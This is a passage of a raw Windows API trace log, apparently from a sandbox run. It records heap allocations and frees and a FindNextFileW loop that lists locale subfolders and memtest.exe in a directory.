Size=0x20) returned 0x30189a0 [0122.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.204] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b63f50, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b63f50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0122.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x16c) returned 0x6aabb8 [0122.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018978 [0122.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018860 [0122.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018810 [0122.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018aa0 [0122.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018ac8 [0122.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018af0 [0122.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018b18 [0122.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018b40 [0122.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018b68 [0122.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187e8 | out: hHeap=0x5b0000) returned 1 [0122.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018838 | out: hHeap=0x5b0000) returned 1 [0122.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189c8 | out: hHeap=0x5b0000) returned 1 [0122.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018a28 | out: hHeap=0x5b0000) returned 1 [0122.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018a50 | out: hHeap=0x5b0000) returned 1 [0122.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018a78 | out: hHeap=0x5b0000) returned 1 [0122.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fefeb8 | out: hHeap=0x5b0000) returned 1 [0122.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.204] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b8a0b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b8a0b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0122.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.204] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.205] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b8a0b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b8a0b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0122.205] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.205] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.205] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.205] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.205] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.205] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bb0210, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bb0210, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0122.205] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.205] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.205] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189c8 [0122.205] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.205] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.205] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0122.205] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bd6370, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bd6370, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0122.205] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.205] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.205] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x214) returned 0x307bf60 [0122.205] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018838 [0122.205] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187e8 [0122.205] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018a78 [0122.205] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018a50 [0122.205] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018a28 [0122.205] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018b90 [0122.205] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018bb8 [0122.206] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018be0 [0122.206] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018c08 [0122.206] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018c30 [0122.206] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018c58 [0122.206] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018c80 [0122.206] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018ca8 [0122.206] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018978 | out: hHeap=0x5b0000) returned 1 [0122.206] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018860 | out: hHeap=0x5b0000) returned 1 [0122.206] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018810 | out: hHeap=0x5b0000) returned 1 [0122.206] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018aa0 | out: hHeap=0x5b0000) returned 1 [0122.206] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018ac8 | out: hHeap=0x5b0000) returned 1 [0122.206] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018af0 | out: hHeap=0x5b0000) returned 1 [0122.206] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018b18 | out: hHeap=0x5b0000) returned 1 [0122.206] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018b40 | out: hHeap=0x5b0000) returned 1 [0122.206] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018b68 | out: hHeap=0x5b0000) returned 1 [0122.206] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.206] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.206] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.206] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189c8 | out: hHeap=0x5b0000) returned 1 [0122.206] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6aabb8 | out: hHeap=0x5b0000) returned 1 [0122.206] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189c8 [0122.206] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.206] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.206] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bd6370, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bd6370, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0122.206] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.206] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.206] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.206] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.206] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.206] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bfc4d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bfc4d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0122.206] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.206] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.206] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.206] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.206] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.207] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c22630, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c22630, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0122.207] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.207] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.207] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.207] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.207] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.207] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c48790, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c48790, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0122.207] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.207] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.207] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018810 [0122.207] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.207] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.207] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c6e8f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c6e8f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0122.207] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.207] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.207] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018860 [0122.207] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.207] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.207] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c94a50, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c94a50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0122.207] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.207] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.207] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x310) returned 0x307c180 [0122.207] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018978 [0122.207] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018b68 [0122.207] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018b40 [0122.207] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018b18 [0122.207] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018af0 [0122.207] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018ac8 [0122.207] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018aa0 [0122.207] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018cd0 [0122.207] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018cf8 [0122.207] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018d20 [0122.207] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018d48 [0122.207] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018d70 [0122.208] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018d98 [0122.208] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018dc0 [0122.208] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018de8 [0122.208] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018e10 [0122.208] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018e38 [0122.208] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018e60 [0122.208] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018e88 [0122.208] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018838 | out: hHeap=0x5b0000) returned 1 [0122.208] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187e8 | out: hHeap=0x5b0000) returned 1 [0122.208] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018a78 | out: hHeap=0x5b0000) returned 1 [0122.208] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018a50 | out: hHeap=0x5b0000) returned 1 [0122.208] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018a28 | out: hHeap=0x5b0000) returned 1 [0122.208] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018b90 | out: hHeap=0x5b0000) returned 1 [0122.208] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018bb8 | out: hHeap=0x5b0000) returned 1 [0122.208] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018be0 | out: hHeap=0x5b0000) returned 1 [0122.208] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018c08 | out: hHeap=0x5b0000) returned 1 [0122.208] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018c30 | out: hHeap=0x5b0000) returned 1 [0122.208] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018c58 | out: hHeap=0x5b0000) returned 1 [0122.208] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018c80 | out: hHeap=0x5b0000) returned 1 [0122.208] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018ca8 | out: hHeap=0x5b0000) returned 1 [0122.208] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189c8 | out: hHeap=0x5b0000) returned 1 [0122.208] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.208] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.208] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.208] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018810 | out: hHeap=0x5b0000) returned 1 [0122.208] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018860 | out: hHeap=0x5b0000) returned 1 [0122.208] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307bf60 | out: hHeap=0x5b0000) returned 1 [0122.208] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018860 [0122.208] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.208] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.208] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13cbabb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13cbabb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0122.208] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.208] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.208] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018810 [0122.208] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.208] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.209] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13cbabb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13cbabb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0122.209] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.209] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.209] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.209] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.209] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.209] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13ce0d10, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13ce0d10, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0122.209] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.209] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.209] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.209] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.209] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187c0 | out: hHeap=0x5b0000) returned 1 [0122.209] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13d06e70, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13d06e70, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0122.209] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.209] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.209] RtlAllocateHeap 